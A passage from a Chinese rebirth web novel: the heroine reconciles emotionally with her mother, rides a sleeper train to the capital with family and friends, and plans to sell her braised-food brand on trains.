大概是对这趟首都之行充满期待,他们一大家子30号的火车,李翠英早在28号就把这一路穿的、用的给打包好了,基本上拎包就能走了。 至于苏丽珍自己上学要用的东西,她特地跟沈瑞打听过了,这两年首都的许多生活用品不再那么死卡着票证,多花一点钱就能买到需要的用品。所以她只打算带上秋、冬两季的衣服和一套厚实的棉被就行了。 没想到她自觉已经够简单了,李翠英和苏小麦却还想让她更简单一点。母女俩只让她带一、两身衣裳应急,剩下的非要等到了首都后全买新的! 苏丽珍个人反对无效。李翠英和苏小麦都认为首都作为全国的政治经济中心,那里的衣服不说第一时髦,肯定也比凤城要强,闺女/小妹既然已经在首都上学了,自然也要穿那边好看的衣裳。 总之,不管是去上学的、还是去旅游的,反正这一大家子的东西早就收拾妥当了。 这边苏卫华闻言便顺口答道:“没收拾咱们的东西,是收拾你以前穿过的旧衣服去了。” 苏丽珍一脸问号,这时候收拾她的旧衣服干啥? 苏卫华就给她解释:“自打知道你考上了首都大学,这街坊四邻加上店里老主顾们就都来讨你穿过的旧衣服。说是拿回去给自家小孩改成贴身的背心或者褥单,能就近蹭蹭你的‘文气’,好保佑他们的小孩将来也能考个好大学!” 苏丽珍:“……” 她有些无语。“这能管用吗?” 苏卫华也叹气:“管不管用的不知道!关键都是老熟人了,人家张一回嘴,又是这样的小事,哪里好拒绝。” 苏丽珍只得道:“那我也上楼看看吧。” 她现在有理由怀疑,她妈不让她带衣服去首都,是为了拿那些衣服应付人情。 苏丽珍抬脚上了二楼。 一上去,就看见李翠英在二楼的小客厅沙发上整理她的旧衣服,她刚想喊人,就听她妈忽然“哎呦”一声,猛地捏紧了手指头。 苏丽珍吓了一跳,赶紧上前:“妈,怎么了?是手抽筋了吗?” 等凑近一看,只见李翠英右手大拇指上斜着扎了一枚别针。 “没事,就是冷不丁让这别针扎了一下,有点疼。” 李翠英说着,就将那别针拔下来,拇指肚上立马沁出了一滴鲜红的血珠。 苏丽珍看得心里一紧,赶忙去抽屉里翻出红药水和药棉,帮妈妈给伤口消毒。 李翠英本来都没当回事,但是看闺女一副如临大敌的样子,忙安抚道:“这就一个小针眼,没啥事!妈当年刚到食堂切墩那会儿,哪天不得剌一两个口子?我这肉皮都练出来了,这点小伤,不要紧的。” 不过安抚了闺女,她又忍不住嗔怪道:“珍珍啊,你说你这孩子以前咋留这么个坏习惯呢?把别针揣在衣兜里也就算了,还总不把那针尖给别好!” “我这两天给你收拾你这几年的旧衣服,这都收拾出好几个这样的别针了!你瞅瞅,里头一半都是这样散开的,那针尖扎一下多疼啊?” 苏丽珍看着那枚别针不禁有些出神。 三年前中考刚结束的夏天,那时她刚刚重生,时常会因为想起上辈子卑劣不堪的自己,而陷入自我憎恶的情绪里无法自拔。 虽然痛苦、悔恨,可是她也清楚她重活一世最重要的是什么。她要赎罪、要弥补,她有太多重要的事去做,她不能、也没资格放任自己被这些负面情绪湮没。 所以为了让自己的心绪保持稳定,不让亲人担心,更为了能杀下心来做事,她就以用别针刺破自己手指这样自虐的方式来提醒自己,暂时放下过去,努力保持冷静和理智。 后来,随着她的一个个目标逐一实现,家里的日子越过越好,她所珍视的人也一天天幸福起来,她那一直忐忑惶然的内心也终于有了一丝底气。 所以,这些别针也就被她一点点淡忘在了那些旧衣兜里。 如今再看到它,竟然有种恍如隔世的感觉。 虽然时至今日,她仍然不愿去想上辈子的自己,可那些撕心裂肺的痛苦也开始淡去。 她所爱的家人和朋友成为了她最好的支柱,他们所有人的幸福也将是她此生最好的圆满。 苏丽珍捏着那枚别针,不顾李翠英微讶的神色,将额头轻轻靠在母亲温暖的肩膀上,轻声问了一句:“妈,如果有一天,当你知道我曾经做过很坏很坏、让你们很失望很失望的事,你们会原谅我吗?” “傻丫头!”李翠英只愣了一下,很快就反应过来,用另一只没沾药水的手一下一下摩挲女儿的头发,温和道:“就算你做过很坏很坏的事,我们就算很失望,但我和你爸也不会怨你,我们依然会原谅你。” 苏丽珍想起上辈子父亲愤而选择离世、母亲痛恨咒骂她的场景,泪水一点点氤湿了眼眶。 “可是万一我根本不值得原谅呢?” 李翠英的声音更加轻柔,但她的语气却格外笃定:“不管你做了什么,爸爸妈妈都一定会原谅你。” “除非……”说到这里,她忽然顿了一下。 苏丽珍却是呼吸一滞,忍不住抬头看向母亲:“除非什么?” 只见李翠英原本还有些严肃的面容忽然露出一抹儿笑来。 “除非你根本没有意识到自己的错误,那我和你爸一定会用尽所有办法让你尽早醒悟。” “只要你真心知道错了,至少在我们这里,你永远都会被原谅。” “妈!”苏丽珍只觉眼睛一热,忍不住再次把脸埋进妈妈温暖的肩头。 看见女儿这样,李翠英的眼中闪过一抹儿忧虑,但她很快又把这忧虑压下,搂着女儿,像小时候哄她睡觉那样一下一下轻拍她的脊背。 “珍珍,这世上有几个父母会真的怪罪自己的孩子呢?所以压根没有什么除非,就是不管你做了什么,我们最终都会选择原谅你。” 苏丽珍怔住了,等她反应过来,身子一颤,泪水已经抑制不住地汹涌决堤。 她很想问为什么,但是喉头就像有东西堵住一样,让她根本张不开口。 而李翠英就像是能听到她心里的疑问,一边搂紧了她、一边轻声道:“傻孩子,因为你是我们的女儿啊!” 第二天下午,苏家人挥别了特地前来送苏丽珍的亲朋好友,准时登上了开往首都的火车。 苏丽珍也第一时间跟谢家母女碰头。 苏家人的票都是谢家帮忙买的,票是四人间的标准软卧席,环境整洁安静,座椅柔软舒适,拉上门就像一个个独立的小房间。 苏丽珍、苏小麦、芽芽和谢芳芳四个女孩子正好一间。 李翠英、谢妈妈和苏、孟两个老爷子一间。 剩下苏卫华自己在隔壁卧铺间。赶巧儿这间还有一个男同志,因为常去他们家火锅店吃饭,居然一眼就把苏卫华认出来了,于是两个人就坐在一起说话,正好互相搭了个伴。 谢芳芳虽然常坐火车出门,但是跟这么多好朋友一起坐车还是头一次,因此难免有些兴奋,一边从自己的行李包里往外掏零食,一边叽叽喳喳说个不停。 眼瞅着她的零食都要把中间那张小桌子堆满了,她还在不停往外掏,苏丽珍头疼地赶紧把人按住了。 这要再让她掏下去,她们连喝水的杯子都没地儿放了。 谢芳芳被阻止了也不在意,不知道又从哪儿翻出一包朱古力,非要分给几个女t孩子吃。 当分到苏丽珍时,她突然“哎呀”了一声:“珍珍,你这眼睛怎么肿了?” 接着,她就像想到什么,脸上露出既关切、又新奇,还有些纠结的表情,然后语气深沉道:“原来在我看不到的地方,你是这样的苏丽珍!果然我们每个人都喜欢给自己戴上一副面具。” 苏丽珍:“……” 面不面具的她不知道,但是她确信了上午不该忘记敷眼睛,搞得现在大半天还没消下去,更惹得谢芳芳这个“小魔星”又开始天马行空了。 谢芳芳兀自一脸沉重地看着她道:“珍珍,你一定是舍不得离家,所以昨天一直在偷偷地哭,对不对?你看你眼睛都哭肿了!” “其实,珍珍你没有必要在我面前故作坚强,我不会笑话你的!想家而已,就算是坚强、勇敢、果决、坚韧如我,也不是不能理解你的这种脆弱。所以,你要还是难受,就痛痛快快哭一场吧,我愿意把自己强大的肩膀借给你!” 说着,她还握紧双拳,使劲挺了挺胸脯。 一旁的苏小麦和芽芽听见这话,也忍不住把目光投向了苏丽珍,神情古怪,欲言又止。 苏丽珍不禁深深吸了一口气,只觉因为失眠半宿很隐隐作痛的头更疼了。 最后她只能把之前准备好的借口再次推出来,无奈强调:“芳芳,我只是因为昨晚熬夜研究公司的方案,没睡好才这样的。” 谢芳芳有些不太相信,继续用“我知道你就是在敷衍我,但是没关系,我绝不会拆穿你”的表情看着苏丽珍。 苏丽珍无语,干脆破罐子破摔:“好好,你说的对!我就是因为想家昨晚一直偷哭,所以才会眼睛肿,恭喜你发现了真相。” 谁知道,听她这么一说,谢芳芳反而不敢肯定了。她脸上一阵狐疑、纠结,憋了半天还是忍不住问了句:“你真是因为熬夜想你那公司的事才弄成这样?不是因为偷哭?” 苏丽珍没什么表情地看着她。 谢芳芳被她这么一瞅,也有些老实了,最后只得讪讪道:“那、那要不你先睡会?我妈说,这样熬夜很伤眼睛的……” 苏丽珍叹口气,正要说话,忽听隔壁间响起她爸苏卫华吃惊的声音。 “哎呀,小瑞,你咋在这啊!” 第164章 苏卫华这一嗓子,把两家人都给喊出来了。 苏丽珍因为正好站在门边,第一个走出来,一眼看见站在苏卫华软卧间门口,一身浅棕色长款风衣、手拎黑色公事包的俊雅青年,可不正是沈瑞? “沈大哥?” 苏丽珍一时也有些吃惊。沈瑞这时出现在这儿,只能有一个原因,就是昨天这边有什么事将他绊住了,所以不得不推迟了原先的行程。 沈瑞朝她点了点头,然后又挨个儿跟众人打招呼。 沈瑞因为之前去过谢市长家拜访,加上沈瑞二哥跟谢市长的弟弟是关系很好的战友,所以沈瑞跟谢妈妈也不算陌生。既然碰上了,双方出于礼貌,也互相问候了两句。 眼见沈瑞跟众人打过招呼,苏卫华边耐不住性子,问对方道:“小瑞啊,你不是应该赶昨天的火车吗?怎么这会儿才走啊!” 沈瑞苦笑了一声:“实在是事有凑巧。昨天从你们店里出来,我本来打算再跟我的助手碰个头,然后就去车站的。没想到临出发之际,突然得到一个消息,我之前一直看好的一块地,原先的买主反悔不要了,政府有意向寻找新的投资商。” “那块地,我用来盖分厂再合适不过。机会难得,我就第一时间去联系相关部门,准备买下它。直到今天上午才走完流程。可惜等我签完了合同,也错过了上午的那趟车,好在还能赶这一趟。” 苏丽珍闻言点头。原来如此,她就说如果没有什么特别重要的原因,沈瑞不可能突然更改行程。 倒是苏厚德暗地里瞧了沈瑞好几样,忍不住跟孟知祥“咬耳朵”:“你说这小子的话能有几分真?” 孟知祥笑眯眯:“不管几分真,只要他不伤害咱们珍珍,在这个前提下,自然是他越肯花心思越好。” 苏厚德不禁撇撇嘴:“你又不是不知道,这小子历来心眼贼多,从小到大,我还没看过他有啥办不成的事。” “我跟你说,卫华两口子实在,不知道这小子的道行,咱俩可得警醒些,把人给看住了!尤其要是珍珍自己不乐意,他就是天王老子也不行!” 孟知祥有些无语。从前自家这小舅子一直把沈瑞看得天上、地下第一好,如今因为珍珍,不但要往后退,还成了严防死守的对象,这可真是今非昔比。 那边苏卫华夫妻全然不知道干爸心里的想法,倒是一门心思为沈瑞担忧。 李翠英就接话道:“能赶上就好!小瑞啊,忙了这么长时间了,你赶紧进去好好歇会儿吧。对了,中午吃饭没有?要是没吃,婶子这边带了不少,给你弄点啥吃吧?” 沈瑞笑着拒绝道:“婶子,不用忙了,我刚才在候车室吃了一个面包。” 一听这话,李翠英顿时有些心疼:“一个面包哪里够!婶子中午烙得葱花饼,还带了卤肉和卤蛋,一样给你弄点。你大小伙子,吃这些胃才扎实!” 说着,便急忙转身回自己的卧铺间,开始翻行李包,不一会儿就收拾出满满当当两个大饭盒来。 有提前切好的卤猪肘、酱牛肉和熏香肠,有圆溜溜的卤蛋加一叠油滋滋的葱花饼。因为没啥素菜,还特意配了两个洗干净的小黄瓜和西红柿。 这伙食别说在火车上,就是放外头那也是顶好的待遇! 把好奇扒着卧铺拉门的谢芳芳都给看馋了,忍不住直咽口水,手里的朱古力立马就不香了。 李翠英见状,赶忙掰了一块香肠给孩子吃。 “谢谢苏妈妈!嘿嘿!”谢芳芳傻笑一声,上手接过来就“嗷呜”一大口,吃得两只眼睛亮晶晶! 李翠英看她这样,以为她也跟沈瑞一样中午没吃好,这会儿肚子饿,就回头又依样捡了点吃的塞给谢芳芳,临了还叮嘱谢妈妈,让她看谢芳芳喜欢吃什么,自己动手拿,千万别客气。 谢妈妈看着李翠英去送饭盒的背影,再看看门口那吃得跟猪崽子一样的自家闺女,忍不住直抽嘴角。 这谁家破孩子,她能不能不要了! 结果谢芳芳一通乱吃,成功把自己吃撑了。 幸亏苏丽珍收拾行李的时候,特意带了一些治疗头疼脑热的常备药品,当中正好有几颗顺手抓的山楂丸,被她找出来,叫谢芳芳吃了。 等谢芳芳吃完了药,苏丽珍又陪着她在车厢过道里走圈,好让药效尽快发作。 结果谢芳芳一边散步,一边还探头探脑往苏卫华、沈瑞的卧铺间张望,看得苏丽珍一阵无语,等走到两节车厢相连的贯通道前,便忍不住说她:“你总往我爸那边看什么?你该不会还惦记着要吃什么吧?” 谢芳芳立马不服气了:“看你说的,活像我是个大馋鬼似的!” 苏丽珍也不反驳这话,就这么默默看着她那腆出一截的肚子。 谢芳芳摸着肚皮的手不由一僵,小脸红了红,轻咳一声:“哎呀,这次不算,我那什么,中午没吃好而已……” 说完这一句,又赶忙转移话题:“我不是看别的,我是在看你那位沈大哥呢!以前还不觉得,今天仔细瞧瞧,我发现他长得很好看啊!” “我跟你说,我姑姑之前去深市考察,回来的时候带了一本杂志,是对岸香江的,那上面有很多香江知名的演员和歌手。” “你这位沈大哥长得一点也不比那些明星差,是我现实中见过的男士里最好看的了!用他们的话讲,就是绝对的‘靓仔’啦!” 原来是这么回事,不过沈瑞确实无论相貌还是气质,都极为出众。 苏丽珍忍不住逗她:“可是你不是最喜欢看那种阳光开朗的大男孩类型吗?” 就比如,她前世作天作地非要缠着的那个五班的男同学,恰好就是这种类型。 虽说这辈子,在苏丽珍不着痕迹的影响下,谢芳芳没有再重蹈覆辙,但是也有相当长一段时间,她都会时不时地提起那个男生几句。 相比之下,她因为常往他们店里跑,这三年见到沈瑞的次数不算少,但苏丽珍之前可从没听她这样夸过沈瑞。 谢芳芳不以为意道:“哎呀,人都是会变得嘛!我以前喜欢那种阳光大男孩,但现在的我也可以更欣赏你沈大哥这种t儒雅俊秀的男人类型啊!” 苏丽珍听她这么说,却有些蹙眉。 她知道芳芳一直有这个毛病,不管是人还是物,向来只喜欢外表好看的,将“以貌取人”的理念执行得特别彻底。 如果芳芳会因为沈瑞出色的外表对他心动、钟情,这种情况完全有可能。毕竟上辈子就有那个五班男同学的旧例摆在那儿,所以苏丽珍很难不多心。 她倒不是要干涉自己好朋友的恋爱问题,只是谢芳芳外表看似娇纵跳脱,其实本性天真单纯,心智也不成熟。这样的她跟极为理智又城府颇深的沈瑞放在一起,无论是性格、还是为人处世的态度都有很大差别。 而且她也不认为沈瑞是一个能轻易被打动的人。 至于说沈瑞会不会自己喜欢上芳芳,以她这三年的观察以及从苏爷爷和沈爷爷他们那儿时不时听到的“小抱怨”来看,这个可能微乎其微。 所以她担心谢芳芳驾驭不了这样的人,在这个过程中会遭受打击和伤害。 但也可能是她把问题想得太严重,思虑再三,她决定先找个话题试探一下:“芳芳,现在有不少大学不禁止在校学生谈恋爱。我也觉得如果能在合适的时间、遇到合适的人,不妨试着去互相了解一下……” “只是这个前提要建立在彼此志趣相投,聊得来、也相处得来的基础上,而外貌条件这些,反而不那么重要了。说白了,就是不能光看长相,你说对吧?” 谢芳芳自己就是跳脱的性子,倒也不觉得苏丽珍的话题转得快,听完只是随意地点了点头:“那当然!我现在都是大学生了,怎么还会那么肤浅,要是谈恋爱的话,当然不能光看长相!” 苏丽珍听到这里,不由悄悄松了口气,谁知谢芳芳又说了句:“除非是那种长得特别好看的,就比如你家沈大哥这样的!人都长这样了,你还要看啥,做人不能太贪心的!” 苏丽珍:“……” 她这回真有点担心了,忍不住肃起了面容:“芳芳,你老实跟我说,你是不是喜欢上沈大哥了?” 没想到这话直接让谢芳芳炸了锅,她两只眼睛一瞬间瞪得溜圆:“你说啥?你说我喜欢你沈大哥?苏丽珍,你咋想的?” 苏丽珍看她这样,一下就明白自己恐怕是多心了。 眼瞅着对方一脸不可置信的样子,活像只炸毛的小猫,她赶忙安抚对方,主动承认错误:“对不起,芳芳,是我想错了!我听你一直夸他,我以为你是喜欢上他了。” 然而她的道歉并没有得到对方的原谅,谢芳芳捂着肚皮的手果断往上捂住了胸口,一脸痛心疾首地控诉道:“苏丽珍,我真是错看你了!” “就算我有花痴的毛病,也就算你沈大哥长得好看,可那天底下好看的人多了,我也不可能见一个好看的就喜欢啊!” “最重要的是,你把我谢芳芳想成啥人了?我谢芳芳虽然毛病一大堆,但我最讲义气,我也知道‘朋友妻不可戏’的道理!你是我最好的朋友,我知道他喜欢你,又怎么会去抢你的男人!” 苏丽珍:“???” 苏丽珍:“……” 她面无表情地看着谢芳芳。 此时此刻,她真觉得一分钟前还在为对方担心的自己像足了傻瓜。 “傻瓜”是不会陪吃撑了的朋友在火车上散步的,所以她决定回自己的软卧间好好躺一会儿! 活了两辈子,头一次坐软卧呢! 不知道是不是真被谢芳芳气着了,她转身掉头就走,结果没走两步就跟对面一架一米高的小铁皮车碰了个正着。 “哎呦,小姑娘,没磕着吧?” 苏丽珍抬头望去,原来是位推着小铁皮车卖东西的列车员。 苏丽珍这会儿的位置刚好是连接两节车厢的贯通道处,列车行进途中,这里有时候会微微摇晃打斜。苏丽珍刚才就正好往旁边歪了一下,所以那铁皮车只是轻轻刮了她一下,不怎么疼。 她主动跟对方道歉:“对不起,阿姨,是我没好好看路。” 这会儿谢芳芳也发现了这边的“小事故”,赶忙跑过来。 “珍珍,你没事吧?” 苏丽珍看她满眼担心,之前满心满肚的恼意一下散了不少。 “没事,是我走太急,撞到人家车上了。” 那个列车员阿姨明显是个热心肠,这时便提醒她们道:“小姑娘,你们要活动的话,往前走几步,到我这个车门空挡的位置。不要在这个贯通道待太久,这里容易晃,不好站。” 苏丽珍忙道:“谢谢阿姨,我们会注意的。” 列车员朝她们笑了一下,就推车继续往前面软卧车厢走。 苏丽珍这时候才发现刚才走太急,居然走反了,差点去了隔壁硬卧车厢。 等那位阿姨推着车从她和谢芳芳身前经过时,她下意识往里扫了一眼,只见这一米高、三十公分宽的小铁皮车里装的东西还真不少。 小车一共有两层:上面一层有面包、槽子糕、方便面、花生、瓜子、糖果,旁边是啤酒、汽水,靠里的那一侧有一个半截的小纸箱,里头装了不少香烟;底下那一层中间支了一口小铝锅,里头是还冒着热气的茶叶蛋。 苏丽珍的目光在那口装着茶叶蛋的铝锅上一扫而过,心里突然萌生一个想法,便忍不住把那列车员喊住了。 “阿姨,您等一下,我想买点东西。” 那列车员一听十分高兴,当即热情地招呼苏丽珍道:“小姑娘想买什么?随便挑啊!” 苏丽珍便拉着谢芳芳上前,先拿了点花生瓜子,又随手拿起一包方便面问那列车员:“阿姨,这个多少钱?” 那列车员便笑呵呵道:“这方便面五毛钱一包,不要票。” 苏丽珍暗自啧舌,火车上的东西是真贵啊。 像她手上拿得这个方便面,是首都那边的一个牌子。小小的一包,二两重的分量,百货公司一包要卖三毛二,而且还要**票。 这价格平时就属于“贵价”食品了,想不到在火车上更是贵的吓人。虽说不要票,但是一包就要五毛钱,这价钱放外头能吃一大碗带肉丁的炝汤面了。 不过这东西现在毕竟属于稀罕物,味道总体不错,吃起来也方便,偶尔尝尝就当换个口味也挺好。 她直接拿了好几包,几乎将铁皮车里的方便面都给清空了。 那列车员十分高兴,还从铁皮车底下翻出一个网兜,让她装东西。 苏丽珍见状,便顺势向这位阿姨打听情况。 第165章 那列车员见小姑娘说话十分有礼貌,加上又买了她不少的货,心情高兴之下倒也知无不言。 苏丽珍这才了解到,像这位阿姨这种在火车上卖食品的售货员和餐车上的工作人员一样,都归铁路客运段管理。 他们大多数都是正式员工,只有很少一部分才是临时工。 售货员们平时在车上卖的货都是客运段采购部门统一采购,价格也由上面制定,他们只负责售卖。 以列车每次往返的行程为一个销售周期,每次拿多少货,卖掉多少,剩余多少,以及这一路上的损耗,只要把钱和账目理清楚就行,基本上没什么难度。 所有销售人员每个月都有销售任务,但是这个任务指标定得非常低,基本上所有人都能完成。 他们的工资形式是基本工资加奖金。奖金根据销售任务来定,只是多卖也并不多得。 也就是说,只要你能按时完成任务,就可以拿到当月的奖金。但指望多卖货,然后多拿提成或奖金,这个情况是不存在的。 而且在火车上卖东西也不是那么好卖的。 车上最常卖的就是食品类商品,可如今大多数人还处在刚刚解决温饱的状态,日子过得紧巴,吃东西是为了填饱肚子,不是为了享受。 更别说火车上的东西有相当一部分溢价,让原本有能力负担这笔开销的人也会下意识觉得不划算,认为这种行为是当“冤大头”。 按照这位售货员阿姨的说法,总体来说,卧铺车厢要比硬座车厢好卖。但是硬座车厢毕竟乘客基数大,例如香烟、啤酒这些畅销品就卖得很快。 苏丽珍一边暗暗记下这些信息,一边随意地从铁皮车里挑拣东西,不知不觉就拿了一大堆,这架势把旁边谢芳芳都给吓住了。 她倒不是心疼钱,只是觉得火车上的东西大多不怎么好吃,跟苏妈妈的手艺相比,那就是天壤之别。她虽然爱吃,但也不是t来者不拒。 她本来是想提醒苏丽珍一声,可是看她和这售货员阿姨有问有答的,又怕耽误她的事,所以只能一声不吭地杵在旁边当背景板。 苏丽珍也觉得想了解的东西都差不多了,这才让这位售货员给她结账。 不算不知道,苏丽珍这堆东西直接花了小十块钱。 她从自己口袋里找出一张大团结递给对方,等对方找零的工夫,又问了最后一个问题:“阿姨,那您觉得什么样的食品在车上最好卖?” 售货员一边动作娴熟地给她找钱,一边顺口答道:“要说吃的嘛,除了啤酒外,那肯定是花生瓜子这些禁得住吃又便宜的……再有就是咱东北这边的特产了。” 她朝着苏丽珍手里的东西努努嘴:“就比如小姑娘你手里那两包糖和点心,不少外地人就很喜欢。有来这头出差或者办事比较急的,没时间买特产,回去的时候赶上了就会买一些。” “咱们这车上的东西虽说贵了些,但是质量可都老好了,谁买都能放心吃。” 苏丽珍笑着应和了一声,再次跟这位阿姨道了谢,之后就目送她推着小车往软卧车厢去了。 谢芳芳这时候终于忍不住凑上前,好奇地问道:“珍珍,你打听这些做什么?你是不是想介绍什么人进铁路上班,所以提前摸摸情况?” 苏丽珍摇头:“不是,我只是偶然想到一条路子。” 她顿了顿,又补充道:“是关于我们公司产品的。” 谢芳芳十分聪明,很快就露出恍然大悟的神情:“哦,我明白了,你想把你们公司的东西也拿到火车上卖!” 苏丽珍朝她一笑:“对,我确实有这个想法。” 她也没多说什么,主要是这会儿脑子里很多想法,她也需要先理一理。 等和谢芳芳回到自己的卧铺间,把手里的东西交给苏小麦,让她带着谢芳芳和芽芽喜欢什么就吃什么,苏丽珍自己则找出随身携带的笔记本和钢笔,坐到了卧铺间外面临窗的单人座位上开始埋头拟写计划。 根据那位售货员阿姨的说法,火车上比较畅销的食品大致分两类:第一类是价格相对低廉,且顶饱和耐吃至少要占一项的商品;第二类就是地方特色食品。 苏丽珍想到自家的卤味产品刚好能覆盖这两类。比如平价的豆制品、花生、蛋类和鸡鸭下货;而其他大荤类卤味和熏味可以做为地方特色食品,无论是自己品尝、还是拿来送人都行得通。 确定了产品,之后是销售渠道,这件事肯定要第一时间跟凤城市铁路客运段的工作人员联系。 苏丽珍有极大把握认定对方不会拒绝这件事。 只是她估计让对方像百货公司那样,答应他们设置单独的货柜、允许他们公司给予铁路销售人员相应的提成补贴用以激励销售,以及让出定价权这些条件,应该是都不成的。 毕竟铁路部门不像百货公司,后者本质上就是专门通过售卖各种商品盈利的单位,只要能保证让他们货架上的东西卖得好、卖得快,适当退步也无可厚非。 但铁路部门不一样,人家的本职工作是铁路运输相关,在火车和车站内卖货只是一种简单的盈利手段。如果苏丽珍搞不清这些,跟人家大谈特谈之前那些要求,人家说不好会觉得麻烦。 就说像给销售员提成这样的事,一旦没有客运段的上级部门配合监管,光靠他们自己,那步骤就繁琐了。 毕竟她总不能再单独雇人每天给这些南来北往的售货员们核账吧! 而且就算是雇了人也不见得服众,到时候再叫什么人觉得有机可乘,那才是坏了事呢。 所以客运段这块肯定绕不过去。 那么问题就又回来了,火车上卖的东西那么多,人家客运段凭什么要为了让你家的产品卖得好,就多承担工作量去配合你呢? 加上条条框框涉及太多,人家难免生出她事多谱大的感觉,说不定最后就懒得搭理了。 所以,想要这个销售渠道,苏丽珍就不能采取之前跟百货公司一样的策略。甚至因为对方的本职不是销售单位,但市场前景却远超四家百货公司这一点,还要尽量放低姿态。 另外,火车做为当下第一大交通运输工具,庞大的运量也让它成为了一个天然的宣传平台。 在列车及站台、站点上销售她家的产品,如果运作得当,无疑会让更多的人认识和了解这个品牌。 顾客第一次不买没关系,只要能记住“珍珍”这个牌子就好。一次、两次之后,说不定哪天再碰到就会想买来尝一尝,或者偶尔跟亲戚朋友提一嘴,这就相当于是把他们的声名推广到更远的地方去了。 而那些更远的地方自然都是他们的潜在市场。 只是具体要怎么做呢? 苏丽珍下意识咬起了笔头。 当初摆摊刚卖卤味的时候,她用的是请人免费试吃的办法。 后来开店、开公司,前者她主要是利用会员制度宣传加提前绑定顾客;开公司则更多通过各种报刊、杂志和电台打广告,利用媒体进行宣传造势。 说实在的,这些手段在市场经济还没有形成的当下,虽然称得上有新意,能轻易引发轰动的效果,但在未来却都是些老套手法。 苏丽珍现在能用这些方法,但等以后随着跟风模仿的人多了,“一招鲜”的“鲜”就要大打折扣,到时候任谁也没法“吃遍天”了。 所以她时常会有种紧迫感,尤其是随着手上的产业越来越大,她偶尔也会担心由于自己力有不逮而导致什么疏漏或损失。 想到这里,她下意识抿紧了嘴唇。 每到这种时候,她就格外庆幸这三年哪怕再怎么辛苦,也从没放松过学习。所以现在能考上理想的大学,争取到更好的学习机会去提升自己。 只有她知道自己的短板在哪里,她的重生优势早晚会用尽,抄别人的作业能撑得起一时,却不能撑一辈子。 所以还是那句老话:“打铁还需自身硬”。 苏丽珍收摄心神,继续思考之前的问题。 从前的那些营销方法现阶段还是很管用的,只是放在火车上,未必适用。 首先,她不准备一上来就搞试吃。因为乘客基数太大,而且销售员也不见得愿意承担这些额外工作。还有一点,就是销售员们本身没有相应的监管,这个试吃方案是否能好好推广下去就很难说。 苏丽珍抬头打量这节干净整洁的软卧车厢,触目可及没看到一张宣传广告。 苏丽珍不知道是不是铁路部门不允许这样做。 不过回去应该可以试着争取一下。制作一批“珍珍”产品的海报,张贴在车厢内或者车站、月台上一些不会干扰旅客乘车的位置。 她又想起之前那个销售员阿姨,或许也可以贴在那些专门用来卖货的小铁皮车上…… 苏丽珍边想、边写,不知不觉就写了半下午。 正当她觉得有些疲乏,站起来准备活动活动时,一抬头,目光就不期然与站在卧铺间门口的沈瑞碰了个正着。 后者朝她温和一笑。 苏丽珍也露出一个浅浅的笑容,看见对方手里的水杯,便主动打起招呼:“沈大哥是要去打水吗?” 沈瑞笑着点头,刚要开口,两人就听见他身后的卧铺间内响起苏卫华的声音:“老张大哥,咱晚上一起吃吧。我家带了不少卤味和葱油饼,味道还成,你应该也吃得来。” 苏丽珍知道,这位老张大哥就是和苏卫华、沈瑞一个卧铺的那位老熟客。 面对苏卫华的邀请,老张大哥显然有些不好意思:“这不用了吧!你们人也不少,我就不给你们添麻烦了,待会儿我随便到餐车吃一口就行。” 苏卫华十分热情道:“不麻烦,我们这次可足足带了一大包吃的,管够。再说,你看这儿,先头我大闺女还送来两包方便面。这玩意儿泡上以后,那个汤挺好喝。咱们晚上有肉、有菜、有饼,再加上这个汤,正好凑个齐整!” “等一会儿到点了,我就把方便面泡上,咱仨一起边吃边唠,多自在!” 老张大哥便也痛快道:“那行,我今天就厚脸皮蹭苏兄弟一把了!” 苏卫华笑道:“这算啥蹭!要说蹭,也是我蹭你的,你看你花钱买的书,自己一眼没看,t尽叫我看了!” 那位老张大哥就说道:“一本故事书而已,苏兄弟你喜欢就尽管拿去看。我就是之前等车闲得无聊,所以在车站书报亭随便买了一本打发时间,先头就翻得差不多了。” 苏丽珍的关注点一下就停留在“书”“打发时间”这样的字眼,脑子里忽然灵光一闪,萌生出一个想法。 旅途漫漫,有很多顾客选择看书打发时间。 但是苏丽珍留意到,与食品不同,现在火车上并没有售卖报刊、书籍,顾客一般也只能在车站的候车室内买到少量书刊。 苏丽珍分析,造成这个原因应该是书籍本身价格不菲,且有一定重量,不利搬运;同时,相比食物和水,书籍的受众明显更少,导致投入和产出不成比例。 而期刊、报纸之类虽然价格便宜,份量轻盈,且受众也相对更广,但本身却有一定时效性。一列长途火车一来一回短则三、四天,长的甚至有半个月,没谁愿意花大价钱买一份过期的报纸和杂志。 而时间和位置都稳定的火车站候车室则能很好地避免这个问题,所以才会有一些期刊、报纸出售。 苏丽珍觉得这里就存在了一个非常好的利用空间,比如:她可以找人制作一批“珍珍”的宣传手册,投放到火车上,免费供旅客们翻阅。 手册内容肯定以她自家的产品为主,也可以加上几种东北特色食品,空档处再印一点传统小故事。手册整本页数控制在五到六页左右,没必要太多,但也不能太单薄。 同时为了避免被当成废品或清洁工具,手册制作上不能显得太廉价,最好要看上去有一点档次。这样即使被谁故意揣回家,至少也会因为其精美程度而延长保留期限,不至于第一时间沦落到当厕纸的地步,也算达到她要求的宣传效果。 这事,苏丽珍可一点没夸张。要知道她上学的时候,同学们平时的练习本在正反面都写满后,也都要一张不落地带回家,让家长们拿去当厕纸。 当然,为了节约成本,苏丽珍还是希望自家产品的宣传手册能尽量长时间地留在火车上。 所以,这些手册的放置主要还是以卧铺和餐车为主,硬座车厢只保证每节车厢有个三、四本即可。 这不是苏丽珍势利眼,而是以火车上食品的溢价规律来看,她家主打产品的潜在客户必定还是以消费能力更高的卧铺车厢为主。 还有,她也可以定制一批精美的小卡片或者书签做为列车专卖产品系列的小赠品,放置在包装内。既能达到宣传目的,也可以在一定程度上起到防伪作用…… 脑海中一瞬间闪过许多念头的苏丽珍顾不上再跟沈瑞说话,就重新坐会座位上,继续奋笔疾书起来。 有意无意在过道等了半天的沈瑞:“……” 他在心底叹了口气,到底不忍心打扰女孩,只好继续装作去打水。 只是他才一动,就与前面卧铺间门口正探出个脑袋的苏厚德四目相对。 后者朝他龇牙一笑,那表情怎么看怎么像是在看笑话。 然后,不等他有别的动作,苏厚德又“嗖”地一下果断把脑袋缩回去了。 这还不算,当着他的面,又一把把拉门也拉上了。 沈瑞:“……” 第166章 火车是第二天上午九点到站。 谢家在首都的亲戚直接来接谢家母女回去,所以谢芳芳最先跟苏丽珍分开。 临别之际,谢芳芳拉着苏丽珍的手,依依不舍道:“珍珍,咱们说好了,只要我这边军训一结束,我就马上去找你!” 